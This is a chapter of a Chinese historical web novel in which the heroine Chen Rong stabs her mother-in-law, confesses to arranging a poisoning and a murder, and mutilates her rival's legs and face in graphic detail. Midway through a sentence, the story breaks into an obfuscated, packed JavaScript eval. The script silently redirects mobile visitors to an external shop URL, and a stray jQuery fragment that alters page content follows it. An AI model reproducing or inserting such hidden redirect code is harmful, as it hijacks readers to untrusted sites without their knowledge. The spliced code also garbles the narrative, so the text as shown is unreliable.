陈榕觉得自己好困,体内积攒的疲惫终于漫过了那道坎,像湖水一样从四面八方涌上来,淹没了四肢百骸。
她浑身发软,骨头像是被人抽走了一般,连指尖都挪不动,胃里一阵阵泛恶心,明明一天都没怎么吃东西,却半点胃口也无。
她走到榻边合衣躺下,决定好好睡一觉。
翌日,天还未亮,陈榕醒得很早,屋里没生炭火,寒气从门缝里钻进来,冷得像是要渗进皮肤里,她裹着被子坐了好一会儿,才和缓过来。
倒也省了穿衣裳的功夫,起身瞧见桌上还摆着一碟昨日的旧点心,便坐过去倒了杯凉水,就着水一口一口慢慢地吃了。
不能吃得太快,不然胃又要闹腾,毕竟今日可糊弄不得。
腹中有了点东西,力气也回来了,陈榕去抽屉里取了件东西,那本不是她的,是上回赵臻推辞不要,才一直让她搁在了这里。
收进袖中,推开屋门,天色已呈暗蓝色,冷风灌入肺腑,却也格外新鲜,令人陡然清醒。
陈榕走在清晨的将军府里,步子竟有些闲庭信步的意味,时候太早,一路上都碰不见几个人。
直到近了静逸院,才有了烟火气,院门已开,洒扫的下人们各自埋头做事,皆不敢弄出大响动。
陈榕径直走进去,一个眼尖的丫鬟瞧见她,微微一愣,陈榕日日来请安,她自然认得,但这也太早了。
丫鬟虽疑惑,却也不敢怠慢,“少夫人。”
“我有事寻母亲,烦请姑娘通传。”陈榕客气道,说话时呼出的白雾散在晨风里。
丫鬟点了点头:“少夫人稍候。”
陈榕便站在外头等着,神情有些发怔,目光无意识地四处游移。
没一会儿,丫鬟出来,说赵夫人还未起身,但请陈榕进去。
“多谢。”陈榕朝丫鬟淡淡一笑,进了屋。
丫鬟被那笑容一晃,不知怎的,只觉有些不对味儿,蹊跷得紧。
甫一踏进去,劈面来的热气闷得人胸口发堵,像是被人掐住了呼吸,陈榕停住脚步。
赵夫人确实还没起,靠着床头半坐,身上只穿着里衣,两个贴身丫鬟一左一右侍奉在床前。
她睨着一声不吭的陈榕,心里头怎么都想不明白,臻儿到底喜欢她什么?永远像块木头似的,实在叫人想象不出她私下里和臻儿相处用的是何种模样。
赵夫人本以为陈榕今日过来是低头服软的,所以才没收拾便放了她进来。可人来了,却站着不动,连礼也不施。
赵夫人等了片刻,火气又往上蹿,“杵在那儿做什么?有话便说,别白白耽误别人的时辰。”
陈榕这才动了,她没有答话,而是大步走到床前,坐了下去,双手交叠搭在膝上,宽大的衣袖垂落,遮住了所有动作。
“放肆!”赵夫人骂道,眼睁睁看她靠过来,只当她是想来讨饶示弱,心里头越发厌恶,正待再训斥几句,话还没出口,便被一声凄厉的惨叫堵了回去。
“啊——!”
两个丫鬟被吓得缩了缩肩膀,稳住身形后才慌忙去看,随即被眼前的景象惊得张大了嘴,半天发不出声。
陈榕握着匕首,使了全力,这是赵臻的宝贝,削铁如泥,一刀下去便没入血肉,锥心刺骨。
赵夫人痛得失声尖叫,那声音尖利刺耳,几乎要划破人的耳膜。
陈榕猛地拔出匕首,赵夫人死死按着腿根,疼得昏死过去。
两个丫鬟慢半拍地醒过神,扑上前去拉扯陈榕。
陈榕被扯到一边,手里还举着那把血淋淋的匕首。
两个丫鬟不敢再靠近,一边察看赵夫人的伤势,一边紧盯着她,直到见她转身离开,才双腿瘫软地跪下。
两个丫鬟吓得魂不附体,在床前冷汗直流,竟都忘了去拦陈榕。
***
陈榕一路握着匕首,天光微亮,路上仍旧没人,她拐去了另一个方向。
抽出帕子将刀刃上的血迹擦净,归鞘,又随手把染脏的帕子丢了。
到了松茗院,不像静逸院那般热闹,还没到请安的时辰,院子里只有零星几个下人。
陈榕知道赵逸和陈映柳是分房睡的,隔得颇远,便只跟一个丫鬟打了声招呼,走向陈映柳的房间,连门都没敲,直接推开。
陈映柳被这动静惊得不悦地皱眉,正要诘骂,看清来人后又收了声,换上一张笑脸,慢悠悠道。
“二姐姐怎么来了?今儿是刮的什么风呀,我请了你多少回你都不来,眼下倒自个儿来了?”
她惯爱私下里这么阴阳怪气地唤她一声“二姐姐”,或是气急了便直呼大名。
陈榕面无波澜,只对她道:“让她们下去,我有话与你说。”
陈映柳觉得稀奇,想也没想便挥退了丫鬟。
陈榕锁了门,回身。
陈映柳倚在床上,有恃无恐地与她对望,嘴角噙着一抹讥诮的笑。
陈榕也笑了,真巧,今日人人都爱在床上等她。
“我如今最后悔的,是当初没能直接杀了你。”
“你说什么?”陈映柳脸上的笑挂不住了。
“陈映柳,你为何永远这么愚蠢,永远这么低劣?”
陈榕一直想不明白,今日终于问出了口,可她并不需要答案。
“你疯了不成?”陈映柳拧紧了眉,“你在发什么癫?”
“你和张升一样,都让人作呕,当初对你手软,是我做过最错的事。”
陈映柳一脸不可置信,头皮一阵发麻,直觉准得可怕,她一下子明白了过来,“是你……那时是你安排的,是你!”
她紧盯着陈榕,又猛地摇头,“不对,你怎么会跟张升扯上关系?他分明留了字条,是他要害我……”
陈映柳犹自不信,拼命回想当日种种,生怕漏掉什么。
陈榕轻笑,“一张纸罢了,能作什么证。”
陈映柳:“你——”
“我来替你解惑吧。”陈榕走过去,声音不急不缓。
“拿了你发簪的,是我。”
“指使张升下药害你的,是我。”
她停在床边,凑近陈映柳,嘴角徐徐扬起,“最后杀了他的,也是我。”
陈映柳在那一刻毛骨悚然,她木讷地望着近在咫尺的那双眼,良久才找回力气,一下子推开面前人。
“你……你是疯子!你是个疯子!”陈映柳一声比一声高,“你敢杀人,你不怕死吗?”
陈榕眨了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17692660|203040||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眨眼,觉得好笑:“死有什么怕的,活着才可怕。”
“你若有胆,大可直接来杀我。”她摊开双臂,做出一个等待拥抱的姿态,“不然,我就要来杀你了。”
陈映柳往床榻深处缩,可那声音仍追在耳边,犹如恶鬼低语。
“我有时在想,你为何要处处与我作对,后来,我明白了,你和张升一样,无关男女,无关身份,你们只是天生的恶,所以,无需理由。”
陈榕拿出了匕首,褪了鞘,锋利的刀刃光洁如初,锃亮到能映出人的表情。
她跪上床,抬手,刃尖对准床上的人。
“来人!来人啊!”陈映柳尖叫,双手抱着头拼了命往后退,脑子里乱成一团,连如何阻止都来不及想,又惊又惧,魂飞魄散。
千钧一发之际,陈榕却停住了。
“我突然改主意了,杀了你太便宜你了,活着才会叫你更痛苦。”
“死了,就什么都没了。”
陈映柳一口气刚要松下来,还没来得及喘匀,大腿上突然传来一阵撕心裂肺的剧痛。
她低头去看,陈榕正将匕首深深插入她腿中。
猛地拔出,又是一波剧痛袭来,陈映柳胃里翻江倒海,可根本不容她缓冲,第二刀又落向了她的小腿。
当匕首第二次拔出时,陈映柳已经麻木,觉不出有多疼了。
“一人一条,正好。”
陈榕舒了口气,向后仰了仰身子,额上也沁了汗。
她重新弯下腰,一手扣住陈映柳的肩膀,一手将匕首贴在她脸上。
“别人知道你脸上这道疤是怎么来的吗?”
鲜红的血顺着刀刃洇开,染在陈映柳的面容上,配着她此刻狰狞扭曲的神情,很是精彩。
陈榕笑着,呓语般幽幽道:“我知道呀。”
“陈榕,你个贱人!你从小就是个贱人!我恨不得你去死!贱人!”
陈映柳到底年轻,这样了还有精力骂人,她骂声不绝,痛到颤抖仍嘴上不饶人,比赵夫人撑得时间长多了。
陈榕转了转刀柄,将薄而锋利的刃侧对着她的面皮,轻轻一划,血便涌了出来。
再一下,左右对称。
有过方才费力刺腿的行为在前,此刻这动作都显得轻而易举。
陈榕不顾陈映柳死命的挣扎,强自按着她,一刀接一刀,入了神似的,等意识回笼,她面上已被划了七八道,满脸是血,认不出原来的模样。
这一次,陈榕不再仁慈,她要让陈映柳往后再也遮不住这些。
松了劲儿,陈榕退后两步站到地上,低头瞧了瞧自己被扯乱的衣裳,还有手背和腕上被抓破的伤痕。
“好好活着吧。”
她飘忽道,尔后笑一声,转身,再不回头看身后的一切。
门拉开,迎面是刺目的光。
天亮了。
陈榕在路上扔了那把匕首,独自走回观澜院,然后一头栽进床榻,默默感受着温热的液体正从身下缓满渗出。
将军府被陈榕这一通搅得天翻地覆,等众人赶到观澜院时,只见她安静地躺在床上,无声无息。
最后是赵逸出面稳住了局面,赵筠红着眼,坐立不安地向襄州去了一封信。